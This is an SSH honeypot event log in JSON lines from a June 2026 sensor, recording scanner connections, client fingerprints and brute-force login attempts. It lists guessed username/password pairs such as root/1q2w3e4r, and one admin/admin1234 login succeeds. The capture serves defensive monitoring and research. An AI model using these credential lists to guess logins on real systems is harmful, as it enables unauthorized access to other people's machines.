{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:12.253130Z","src_ip":"91.92.40.36","session":"fdb15351c3a8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:13.516895Z","src_ip":"91.92.40.36","session":"97d5ee3500f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:13.526897Z","src_ip":"91.92.40.36","session":"97d5ee3500f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"local","password":"local","message":"login attempt [local/local] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:16.586529Z","src_ip":"91.92.40.36","session":"97d5ee3500f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:18.528791Z","src_ip":"91.92.40.36","session":"97d5ee3500f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39816,"dst_ip":"10.17.0.5","dst_port":22,"session":"172ddace9e54","protocol":"ssh","message":"New connection: 194.59.206.2:39816 (10.17.0.5:22) [session: 172ddace9e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:19.663429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:19.667563Z","src_ip":"194.59.206.2","session":"172ddace9e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:19.757398Z","src_ip":"194.59.206.2","session":"172ddace9e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:19.847679Z","src_ip":"194.59.206.2","session":"172ddace9e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43026,"dst_ip":"10.17.0.5","dst_port":22,"session":"575c7494742a","protocol":"ssh","message":"New connection: 91.92.40.36:43026 (10.17.0.5:22) [session: 575c7494742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:21.881355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:22.864352Z","src_ip":"91.92.40.36","session":"575c7494742a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:22.867959Z","src_ip":"91.92.40.36","session":"575c7494742a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29116,"dst_ip":"10.17.0.5","dst_port":22,"session":"133af937082f","protocol":"ssh","message":"New connection: 91.92.40.36:29116 (10.17.0.5:22) [session: 133af937082f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:26.868362Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34366,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c6b5b05abbd","protocol":"ssh","message":"New connection: 103.149.28.157:34366 (10.17.0.5:22) [session: 2c6b5b05abbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:27.295813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:27.300510Z","src_ip":"103.149.28.157","session":"2c6b5b05abbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:27.559124Z","src_ip":"103.149.28.157","session":"2c6b5b05abbd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:27.922268Z","src_ip":"91.92.40.36","session":"133af937082f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:27.925245Z","src_ip":"91.92.40.36","session":"133af937082f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030507","message":"login attempt [root/030507] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:28.337244Z","src_ip":"103.149.28.157","session":"2c6b5b05abbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:28.561506Z","src_ip":"91.92.40.36","session":"575c7494742a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:29.597910Z","src_ip":"103.149.28.157","session":"2c6b5b05abbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":64549,"dst_ip":"10.17.0.5","dst_port":22,"session":"14759863a517","protocol":"ssh","message":"New connection: 173.208.188.210:64549 (10.17.0.5:22) [session: 14759863a517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:31.012562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:31.017106Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:31.171425Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:31.688010Z","src_ip":"91.92.40.36","session":"575c7494742a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:33.097710Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:33.968085Z","src_ip":"91.92.40.36","session":"133af937082f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29182,"dst_ip":"10.17.0.5","dst_port":22,"session":"615bb54f5b0e","protocol":"ssh","message":"New connection: 91.92.40.36:29182 (10.17.0.5:22) [session: 615bb54f5b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:34.858993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:35.859047Z","src_ip":"91.92.40.36","session":"615bb54f5b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:35.863678Z","src_ip":"91.92.40.36","session":"615bb54f5b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:36.055802Z","src_ip":"91.92.40.36","session":"133af937082f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6432b90fd1c","protocol":"ssh","message":"New connection: 45.78.204.254:58492 (10.17.0.5:22) [session: d6432b90fd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:40.465872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:40.470347Z","src_ip":"45.78.204.254","session":"d6432b90fd1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:42.091995Z","src_ip":"91.92.40.36","session":"615bb54f5b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17508,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dff716da3db","protocol":"ssh","message":"New connection: 91.92.40.36:17508 (10.17.0.5:22) [session: 7dff716da3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:43.401427Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:43.619500Z","src_ip":"45.78.204.254","session":"d6432b90fd1c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.003407Z","src_ip":"91.92.40.36","session":"7dff716da3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.006586Z","src_ip":"91.92.40.36","session":"7dff716da3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.131403Z","src_ip":"91.92.40.36","session":"615bb54f5b0e","protocol":"ssh"}
